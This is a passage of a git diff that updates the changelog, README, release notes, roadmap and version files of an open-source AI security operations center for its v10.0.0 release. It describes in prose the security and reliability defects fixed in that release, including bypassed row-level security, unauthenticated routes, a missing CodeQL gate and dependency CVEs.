playbook-run, because the vocabulary+ listed `ReadUser` and `WriteUser` and nobody thought of the third. Auth+ aliases are now resolved by **what they wrap**, which removes the naming+ dependency in both directions — the reflex fix of appending the new name to+ the list is how a list stops describing anything. State after: 517+ authenticated, 73 public with a recorded reason, 11 verified in-band, 0+ unexplained.-- **`/graph` honours `?entity=` and selects the node it names.** Three callers- already built that URL — the Investigation Rail's entity chips, `HuntView`'s- "Pivot to graph" button, and now federated search — and nothing read it, so- every pivot navigated to the graph and dropped the entity, leaving the- analyst to find the node by eye. Both the typed form (`host:WIN-DC01`) and- the bare form `HuntView` emits are accepted, matching on node id then label.-- **A real operator organisation above tenants, so the MSSP console can be- backed by data instead of gated behind demo mode.** `/mssp/overview`,- `/mssp/tenants` and `/mssp/incidents` returned five hardcoded companies —- "Acme Corp, health 92.4, 12 open alerts", "Wayne Enterprises", invented- incidents with invented assignees — because the cross-tenant aggregation- query behind them was never written. Gating the sample behind demo mode- removed the lie but left the feature unbuilt: outside demo mode the- console showed zeros forever. Making it real was a schema change, not an- ungating.+- **`approval_timers` is in a migration and carries a policy.**+ `services/slack-bot`'s `PostgresTimerStore` created it at startup with+ `CREATE TABLE IF NOT EXISTS`, outside every chain in the repository — so+ `060_rls_coverage.sql` never saw it, it had no `tenant_id` for a policy to+ filter on, and it decides whether a pending containment auto-rejects. Under+ the DML-only runtime role the DDL itself fails, because Postgres checks the+ schema ACL before the existence test, and `main.py` caught that into a+ warning and fell back to the non-durable store: durable approval timers+ would have quietly stopped being durable. `062_approval_timers.sql` adds the+ table, a `tenant_id`, and the canonical policy; the store probes with+ `to_regclass` and refuses with the migration's name rather than creating+ anything, carries the tenant in every statement, and binds+ `app.current_tenant_id` on each pooled connection so the policy engages too.+ A deployment already carrying the runtime-created table converges on the+ same shape, with its existing rows defaulting to an empty `tenant_id` that+ the migration says how to backfill.- Migration `058` adds `organizations`, `organization_members`,- `organization_tenants` and `organization_member_tenants`, and backfills- from `tenants.parent_tenant_id`, which keeps working. Three constraints- hold the boundary in the database rather than in whichever code path- writes a row: `organization_tenants` is unique on `tenant_id` so two- providers cannot claim one customer; `organization_member_tenants` has- composite foreign keys onto both the membership and the portfolio, so a- grant cannot name an unmanaged tenant and releasing a tenant revokes every- grant over it; and `organizations.home_tenant_id` cascades, so erasing a- provider's own tenant removes the organisation while leaving its customers- standing as unclaimed tenants.+- **The zero-CodeQL-alert invariant was documented for four months with+ nothing enforcing it.** `apps/docs/docs/operations/security.md` has said+ since 2026-05-15 that "the Python alert count on `main` is zero, and we+ treat that as a CI gate — a new alert breaks the security workflow". No such+ gate existed anywhere in the repository. `codeql.yml` uploads SARIF and+ `github/codeql-action/analyze` does not fail a build on findings; `main` has+ no branch protection, so "Code scanning results" was not a required check+ either; `security.yml`'s only hard job is the claim-to-gate matrix; and+ nothing in the tree queried the code-scanning API. The scan itself was+ healthy — `main` was analysed continuously, most recently minutes before+ this was written — so the usual stale-green and mixed-`codeql-action`-pin+ traps were both ruled out. The enforcement was simply imaginary, which is+ why two `note`-severity alerts could sit open on `main` under a documented+ count of zero.- Roles carry two separate axes. `owner`/`admin` reach the whole portfolio;- `operator`/`viewer` reach only tenants granted to them, and **nothing**- when they have no grants — "no scope" degrading into "all scopes" is the- shape every cross-tenant leak in this codebase has had.+ `scripts/check_codeql_alerts.py` is that gate, wired into the new+ `.github/workflows/codeql-alert-gate.yml` on push to `main`, on pull+ requests, on a `workflow_run` after CodeQL finishes, and daily. It fails on+ any open CodeQL alert at **any** severity — `note` included, since both+ motivating alerts were `note` and carried no `security_severity_level`, so a+ threshold anywhere would have reproduced the original silence exactly. It+ also refuses the vacuous pass: an unanalysed ref, a declared language with+ no analysis, an analysis older than ten days, or one belonging to a+ different commit than the one that triggered the run are all failures rather+ than a clean bill of health, and an input it cannot read exits 2 rather than+ 0. Dismissed alerts stay excluded — that is GitHub's audited escape hatch+ and the repository uses it for ~20 accepted-risk+ `py/request-without-cert-validation` findings — but the count is printed on+ every run so a silent mass-dismissal is visible. `--self-test` injects an+ alert at each severity plus every shape of vacuous pass and requires the+ gate to catch all ten; CI runs it immediately before the gate itself.- Every cross-tenant read resolves its tenant list through- `resolve_portfolio_scope` and nowhere else, then passes it to- `require_scope`, which raises rather than letting an aggregate run- unfiltered; the list is bound as a query parameter. A `?tenant_id=` filter- is intersected with the portfolio, so naming an outside tenant narrows to- nothing instead of reaching out. An AST gate fails the build if a new- cross-tenant function is added that never calls `require_scope`, and- `test_mssp_portfolio_isolation.py` replays two organisations plus an- unmanaged tenant against live Postgres in `integration.yml`.+- **`scripts/validate_playbooks.py` printed to stderr and called `sys.exit(2)`+ while being imported** (CodeQL `py/print-during-import`, alert #896). Beyond+ the note, this was a live defect:+ `scripts/check_playbook_schema_parity.py` imports the module to read+ `SUPPORTED_TRIGGERS` and wraps the import in `except Exception`, which+ cannot catch `SystemExit` — a broken environment would have killed the+ parity gate's interpreter instead of producing its diagnostic. The import+ now raises `ImportError`, which that handler catches.- The sample rows are deleted rather than gated. `health_score` is gone- because it was an undefined composite; `mttr_minutes` is measured from- cases a tenant actually closed and is null when it closed none; seeded- rows are counted separately as `synthetic_alerts` and excluded from the- headline figures.+- **`python-jose` is gone, and `ecdsa` with it.** `ecdsa` carried+ CVE-2024-23342 (Minerva timing attack on P-256) with no patched release —+ OSV records the affected range as introduced at 0 with no fixed event,+ because upstream states python-ecdsa offers no side-channel resistance and+ will not fix it. It was an unconditional requirement of `python-jose`, so+ the suppression was renewed rather than resolved. `services/api` now signs+ and verifies with `PyJWT`, which it already depended on for the OIDC and+ SAML paths; `python-jose`, `ecdsa` and `rsa` all leave the dependency tree.+ Six CI workflows installed `python-jose[cryptography]` and never installed+ `PyJWT`, and reached `cryptography` — a declared direct dependency of+ `services/api` — only through that extra; they now install both by name.-- **Per-tenant limit headroom, so a cap cannot throttle a customer- silently.** A tenant that hits a ceiling raises no error anyone sees —- alerts keep arriving and stop being triaged, which reads to an evaluator- as "the AI doesn't work". `app/services/entitlements.py` measures- `connectors`, `seats`, `alerts_per_day` and `triages_per_month` from real- rows, reports `ok` / `warning` / `exhausted` per tenant across a- portfolio, and logs exhaustion at `warning`. AiSOC ships uncapped: a key- with no configured ceiling reports `unlimited` rather than a default- nobody set. Ceilings come from `tenants.limits` (per tenant, wins in- either direction) or the new `AISOC_DEFAULT_TENANT_LIMITS` setting —- declared as a real field, because an undeclared setting is dropped by- `extra="ignore"` and the operator who exports it gets no explanation.+- **`image-size` moved to a patched release instead of staying suppressed.**+ Both advisories were held open on the reading that no fix existed. They+ record a vulnerable range of `<= 2.0.2`, and npm has published 2.0.3 and+ 2.0.4; a null `first_patched_version` is not the same claim as no fix+ existing. A pnpm override pins `>=2.0.4 <3`, which+ `@docusaurus/mdx-loader`'s `^2.0.2` range accepts. This clears the only two+ high-severity advisories in the pnpm workspace.-- **The Splunk warehouse driver executes.** It previously raised- `HuntNotConfigured("provider scaffolded but live SPL execution not yet- shipped")` on every call, so the SPL every hunt was translated into was- discarded. `app/services/spl_runner.py` carries the same three guards as the- ES|QL runner — per-tenant SSRF allow-list, air-gap policy, row cap — and- prefixes the translator's bare `index=…` expression with `search`, without- which Splunk's REST API answers 400 on every hunt.+- **`apps/mobile` resolved a vulnerable `image-size` that the workspace had+ already fixed.** Two high-severity advisories — GHSA-5p2g-fcmc-qvqq+ (CVE-2025-71329, JXL/HEIF parsers) and GHSA-w3rx-r6r6-pgpr+ (CVE-2025-71330, ICNS parser), both infinite-loop denial of service, both+ fixed in 2.0.3 — stayed open against `apps/mobile/pnpm-lock.yaml` for a+ structural reason rather than an unfixed one. The repository root pinned+ `image-size` to `>=2.0.4 <3` through a pnpm override, and `apps/mobile` is+ a deliberately independent install root with its own+ `pnpm-workspace.yaml` and lockfile, created that way so its install would+ stop rewriting the root lock. The override could not reach it and nothing+ compared the two. Resolved by declaring the same override in+ `apps/mobile/package.json`; the lockfile now resolves `[email protected]`+ and drops its `queue` dependency with it.-### Removed+ Metro is the only consumer, and no version of Metro that depends on+ `image-size` permits 2.x — every one declares `^1.0.2`, which is why+ Dependabot recorded `security_update_not_possible` and failed its job+ instead of opening a pull request. Metro 0.83.3's two call sites go+ through `_interopRequireDefault(require("image-size")).default`, and+ `[email protected]`'s CommonJS build still exports a callable `default`, so+ `metro.getAssetSize` returns correct dimensions against it.-- **The identity timeline's phantom second source.** It queried a table named- `aisoc_events` that no migration creates, nothing writes to, and that appears- nowhere else in the repository — with its failure swallowed at `DEBUG`. It- read as a second source of evidence while returning nothing on every- deployment. The remaining source now reports itself on the response- (`sources_unavailable`) when it cannot be read, so an empty timeline caused- by a broken query is distinguishable from one caused by no matches.+- **The dependency suppression list is empty.** All 42 entries in+ `scripts/security_audit_ignores.txt` were re-verified against OSV and+ against the versions the lockfiles actually resolve. Every one was+ resolvable, and most of the justifications had stopped being true: nine+ starlette entries blamed a `fastapi<0.137` cap that exists in neither bot+ service, three cryptography entries blamed `<50`/`<49` caps that exist+ nowhere in the repository, and the langchain, weasyprint, anyio, aiohttp,+ h2, idna and pydantic-settings entries each named a version older than the+ one their lock resolves. The file now records what was measured, so the next+ review starts from evidence rather than from the previous reason string.-- **The Chronicle warehouse scaffold.** It read `hunt.translated_query["udm"]`,- nothing in the repository emits UDM, and it gated on two settings that were- never fields — so it could not be selected and could not run, while- `available_providers()` reported it as a supported warehouse. Adding a real- one is a `register_provider` call plus a UDM translator.+- **The pnpm and Go arms of the audit could report success without scanning.**+ A failed `govulncheck`, an unparseable `pnpm audit` response and a registry+ that never answered were all recorded as warnings, which exit 0 — so the job+ printed "0 findings" for ecosystems it had not read. All three now record a+ coverage gap, which `exit_code_for` already failed on for the Python arm.+ That property — an unscanned target fails the build — had no test; it does+ now.## [9.0.0] — 2026-09-23@@ -8534,7 +8449,8 @@ demo profile. Details below.- Helm chart for Kubernetes deployment (`infra/helm/aisoc/`)- MIT License-[Unreleased]: https://github.com/beenuar/AiSOC/compare/v9.0.0...HEAD+[Unreleased]: https://github.com/beenuar/AiSOC/compare/v10.0.0...HEAD+[10.0.0]: https://github.com/beenuar/AiSOC/compare/v9.0.0...v10.0.0[9.0.0]: https://github.com/beenuar/AiSOC/compare/v8.1.1...v9.0.0[8.1.1]: https://github.com/beenuar/AiSOC/compare/v8.1.0...v8.1.1[8.1.0]: https://github.com/beenuar/AiSOC/compare/v8.0.0...v8.1.0diff --git a/README.md b/README.mdindex 07029d11c..d4e291f01 100644--- a/README.md+++ b/README.md@@ -7,7 +7,7 @@**An open-source, self-hostable AI Security Operations Center.** It ingests your security telemetry, detects and correlates threats, investigates them with AI agents whose reasoning is fully auditable, and proposes responses a human approves.[](https://opensource.org/licenses/MIT)-[](CHANGELOG.md)+[](CHANGELOG.md)[](https://github.com/beenuar/AiSOC/actions/workflows/ci.yml)[](https://github.com/beenuar/AiSOC/actions/workflows/codeql.yml)[](https://securityscorecards.dev/viewer/?uri=github.com/beenuar/AiSOC)@@ -69,7 +69,7 @@ Open **http://localhost:3000** and sign in with the credentials `make up`printed (API docs at **http://localhost:8000/api/docs**).Something wrong? `make doctor` checks every dependency and tells you what to-run next. Requires Docker with ~6 GB of RAM.+run next. Requires Docker with ~6.5 GB of RAM.## Try it without connecting anything@@ -119,8 +119,6 @@ response.## Deployment profiles-One architecture, three profiles of it.-| Profile | Command | Services | RAM | What you get ||---|---|---|---|---|| **core** | `make up` | 11 | ~6.5 GB | The full alerting pipeline: ingest → detect → correlate → alert → triage → console, plus the LLM gateway |@@ -130,13 +128,15 @@ One architecture, three profiles of it.CORE is not a cut-down toy — it is the smallest deployment that takes a realevent and produces a real alert.-**What CORE can and cannot do about AI.** The LLM gateway ships in CORE, so-AI triage works as soon as you put a provider key in `.env` — no profile-change and no second command. Until you do, there is no AI: every alert is-triaged by the deterministic path, the console says so, and no LLM call is-made. That is the honest default, not a degraded one. The gateway is also-what reports what a call cost, so a CORE install's cost figures are measured-rather than estimated. Reasoning:+**What CORE can and cannot do about AI.** The LLM gateway ships in CORE, so a+provider key in `.env` reaches a model with no profile change and no second+command. That route is proven against a **local** model — one real completion,+measured, through Ollama on an operator's own hardware. **No hosted provider+has ever been exercised**: this project has no funded key, so its published+per-model rows read *not measured* rather than zero. Until you supply a key+there is no AI — every alert takes the deterministic path and the console says+so. The gateway is also the only thing that can report what a call cost, so an+unmeasured cost renders as absent, never as `$0.00`. Reasoning:[ADR-0006](docs/decisions/0006-llm-gateway-in-core.md).## Real vs synthetic data@@ -184,12 +184,12 @@ so. They do not fabricate a verdict.| Detection engine (833 executable rules) | Stable | Fixture replay + unit | Yes || Alert correlation into incidents | Stable | Unit | Yes || REST API + web console | Stable | Unit + integration | Yes |-| AI triage + Investigation Ledger | Beta | Unit + substrate eval | Yes, copilot mode |+| AI triage + Investigation Ledger | Beta | Unit + substrate eval + local-model run | Yes, copilot mode || Event lake + hunting (ClickHouse) | Beta | Unit | Yes, `full` profile || Entity graph (Neo4j) | Beta | Unit | Yes, `full` profile || Governed response actions | Beta | Unit | Human-approved only || Scheduled connectors | Beta | Contract tests | `full` profile |-| UEBA | Beta | Unit | `full` profile |+| UEBA | Beta | Unit + live migration round-trip | `full` profile || Package distribution (npm/PyPI) | Ready, unpublished | `release.yml` builds and packs all eight on every tag | Install from source — the upload is blocked on registry credentials, which is an account action |## What AiSOC is not@@ -240,8 +240,8 @@ Guides: [add a connector](https://beenuar.github.io/AiSOC/docs/plugins/hello-plu[plugin lifecycle](https://beenuar.github.io/AiSOC/docs/plugins/lifecycle) ·[contributing](CONTRIBUTING.md)-Every number in this README is produced by `scripts/project_stats.py` and-checked in CI, so a figure cannot drift from the tree without a red build.+The connector and detection-rule counts here are recounted from the tree by+`scripts/project_stats.py`, which CI fails if this README disagrees with it.## Roadmap · Contributing · Licensediff --git a/RELEASES.md b/RELEASES.mdindex e608b5d76..c3b7d29fd 100644--- a/RELEASES.md+++ b/RELEASES.md@@ -2,13 +2,31 @@This file mirrors what used to live in the "What's new" section of [`README.md`](README.md). The complete, machine-readable inventory (with file paths, env-var diffs, and per-release test counts) lives in [`CHANGELOG.md`](CHANGELOG.md).-> **TL;DR for first-time visitors:** AiSOC is on `v9.0.0`, released 2026-09-23 — ten waves, and one finding under nearly all of them: the mechanism existed, was tested, and nothing called it. The one worth stating first is that **approving an action executed nothing** — `decide()` flipped a row and never reached the execution service, so every tap of Approve recorded a decision and ran nothing while telling the operator the opposite. Both ends of that loop are closed. Every product claim is backed by a failing CI test (claim-to-gate matrix: 99 GATED / 9 PARTIAL / 0 NO GATE). The latest GitHub release with notes and downloads: <https://github.com/beenuar/AiSOC/releases/latest>.+> **TL;DR for first-time visitors:** AiSOC is on `v10.0.0`, released 2026-09-25 — a release about controls that were written and not reachable. Row-level security covered 92 tables and filtered nothing, because every service connected to Postgres as a superuser; fifty-eight routes carried no authentication at all; UEBA reported healthy and could not write an anomaly; AI triage was wired to a gateway both of its resolvers ignored. **It is a major because upgrading requires action** — services now connect as a DML-only `aisoc_app` role. Every product claim is backed by a failing CI test (claim-to-gate matrix: 139 rows — 131 GATED / 8 PARTIAL / 0 NO GATE). The latest GitHub release with notes and downloads: <https://github.com/beenuar/AiSOC/releases/latest>.---## What's new-`VERSION` is `9.0.0`. The **v9.0.0** release (2026-09-23) is ten waves of one audit question: what in this tree exists, is tested, and has no caller?+`VERSION` is `10.0.0`. The **v10.0.0** release (2026-09-25) is an audit of a single shape: a control that exists, is tested, and sits on a path nothing reaches.++**Read the BREAKING section of the changelog before upgrading.** Every deployment must act on one item: services connect to Postgres as a DML-only `aisoc_app` role rather than as the schema owner, which is what makes the row-level-security policies filter. The bundled Postgres provisions it on a fresh volume; an existing volume or a managed database does not.++**v10.0.0 highlights (September 25, 2026)**+- **92 row-level-security policies filtered nothing.** Compose, CI, the Helm chart and the Terraform environment all ran every service as `POSTGRES_USER=aisoc`, which the postgres image creates as a superuser — and a superuser ignores policies even under `FORCE ROW LEVEL SECURITY`. Measured with one alert per tenant and the session bound to tenant A: the old role saw 2 rows, the new role sees 1.+- **Fifty-eight routes across four services carried no authentication at all.** Reproduced rather than inferred: an anonymous caller with no `Authorization` header created a playbook, listed all 64, **executed one**, deleted it, then read copilot conversations and ran a threat hunt. A further thirty routes let the caller name the tenant they were reading.+- **UEBA could never write a baseline or an anomaly, and reported healthy throughout.** Three schema defects on one code path, then a fourth: the baseline updater mutated a dict in place, so SQLAlchemy saw no change and left the column out of every `UPDATE`. Measured on a live stack — 36 events for one entity, all processed without error, the stored baseline frozen at `count: 1`.+- **AI triage could not reach a model, and it was not a missing key.** Compose set `LLM_GATEWAY_URL` on both services; both resolvers had been deliberately written to ignore it, so every `aisoc-<role>` alias went to a provider that cannot resolve one and the caller rendered that as "no LLM available". The gateway also moved from `full` into CORE, so a key now works with no profile change.+- **A new user who followed only the README could not log in** — the seeded address was rejected by the login route's own validator before the password was compared, and the committed hash matched no published credential. `make up` now creates an administrator and prints a generated password once.+- **Costs stopped being invented.** The tracker priced the `aisoc-<role>` *alias* against a table of hosted list prices it does not appear in, so every call fell through a default and a local completion that cost nothing was booked at `$0.000999` — a figure that reached the dashboard, the ledger and the budget circuit breaker. Every cost is now measured, labelled an estimate, or absent.++The full inventory — 188 entries, including what is knowingly still open — lives under `[10.0.0]` in [`CHANGELOG.md`](CHANGELOG.md).++---++## v9.0.0 (2026-09-23)++`VERSION` was `9.0.0`. The **v9.0.0** release (2026-09-23) is ten waves of one audit question: what in this tree exists, is tested, and has no caller?**v9.0.0 highlights (September 23, 2026)**- **Approving an action executed nothing.** `decide()` flipped a row, notified the realtime service and returned 200 without ever touching `services/actions`. The other end was missing too — nothing in the repository ever created an approval, so the queue had no producer and was structurally empty on every deployment. A queue with no producer and a queue with no pending work look identical.diff --git a/ROADMAP.md b/ROADMAP.mdindex 4310bac5f..1ace56766 100644--- a/ROADMAP.md+++ b/ROADMAP.md@@ -677,6 +677,35 @@ Full inventory under `[8.1.1]` in [`CHANGELOG.md`](CHANGELOG.md).---+## v10.0 — Shipped (2026-09-25)++An audit of one shape: a control that exists, is tested, and sits on a path+nothing reaches. Row-level security covered 92 tables and filtered nothing,+because every service connected to Postgres as a superuser. Fifty-eight routes+across four services carried no authentication at all, and thirty more let the+caller name the tenant they were reading. UEBA reported healthy and could not+write a baseline or an anomaly. AI triage was wired to a gateway that both of+its resolvers had been deliberately written to ignore.++**A major because upgrading requires action.** Services now connect as a+DML-only `aisoc_app` role rather than as the schema owner, which is what makes+those 92 policies filter; an existing data volume or a managed database must be+migrated deliberately. Also breaking: the `/mssp/*` payloads dropped fields+that described fabricated data and now refuse a non-member, two executor-less+`ActionType` members were removed, `CostTracker.total_cost_usd` is gone, and+the published `aisoc-web:latest` image no longer carries demo mode — the demo+build moved to its own tag.++Two published figures were re-measured rather than restated: CORE is 11+services (the LLM gateway moved into it) and `full` is 21, not 30. The quick+start now ends by creating an administrator and printing a generated password+once, because the credential pair the documentation published was wrong in+three independent ways.++Full inventory under `[10.0.0]` in [`CHANGELOG.md`](CHANGELOG.md).++---+## v9.0 — Shipped (2026-09-23)Ten waves of one audit question: what in this tree exists, is tested, and hasdiff --git a/VERSION b/VERSIONindex f7ee06693..a13e7b9c8 100644--- a/VERSION+++ b/VERSION@@ -1 +1 @@-9.0.0+10.0.0diff --git a/apps/web/package.json b/apps/web/package.jsonindex 3afc41f52..945261aa6 100644--- a/apps/web/package.json+++ b/apps/web/package.json@@ -1,6 +1,6 @@{"name": "@aisoc/web",- "version": "9.0.0",+ "version": "10.0.0","private": true,"description": "AiSOC SOC Console - Next.js 14 Frontend","license": "MIT",diff --git a/docs/architecture/README.md b/docs/architecture/README.mdindex c95000385..45b8b78c5 100644--- a/docs/architecture/README.md+++ b/docs/architecture/README.md@@ -251,9 +251,14 @@ One architecture, three profiles of it — not three architectures.| Profile | Command | Services | RAM | What you get ||---|---|---|---|---|-| **core** | `make up` | 10 | ~6 GB | Ingest → detect → correlate → alert → triage → console. The full alerting pipeline. |-| **full** | `make up-full` | 30 | ~12 GB | Core plus event lake, entity graph, vector store, enrichment, connectors, LLM gateway. |-| **demo** | `make up && make demo` | 10 | ~6 GB | Core plus clearly-labelled synthetic data. |+| **core** | `make up` | 11 | ~6.5 GB | Ingest → detect → correlate → alert → triage → console, plus the LLM gateway. The full alerting pipeline. |+| **full** | `make up-full` | 21 | ~12 GB | Core plus event lake, entity graph, vector store, enrichment, connectors. |+| **demo** | `make up && make demo` | 11 | ~6.5 GB | Core plus clearly-labelled synthetic data. |++The LLM gateway moved into CORE this release, so a provider key works without+a profile change. `full` is 21 services, not the 30 published here previously:+30 is `full` plus the `monitoring`, `chatops`, `extras` and `osquery`+profiles, which `make up-full` does not start.CORE is not a toy. It is the smallest deployment that can take a real eventand produce a real alert, which is the thing the product is for.diff --git a/docs/roadmap/v8-progress.md b/docs/roadmap/v8-progress.mdindex 1f6a889a0..30286ef8b 100644--- a/docs/roadmap/v8-progress.md+++ b/docs/roadmap/v8-progress.md@@ -1,11 +1,12 @@# AiSOC v8 — progress tracker-**Last updated:** 2026-09-23-**Current release:** `v9.0.0` (2026-09-23) · **Next:** unscheduled.+**Last updated:** 2026-09-25+**Current release:** `v10.0.0` (2026-09-25) · **Next:** unscheduled.Packaging is no longer named against a version: it slipped v8.0 to v8.1 tov8.2 for the same reason each time, and the blocker is registry credentials-rather than code. See `[9.0.0]` in `CHANGELOG.md` for what v9.0 closed and-what it knowingly left open.+rather than code. See `[10.0.0]` in `CHANGELOG.md` for what v10.0 closed and+what it knowingly left open — it is a major because upgrading requires an+operator action, not because the v8 line is superseded.This tracker is the at-a-glance view of what has landed across the v8 line andwhat is still open. It is deliberately short and dated. When it disagrees with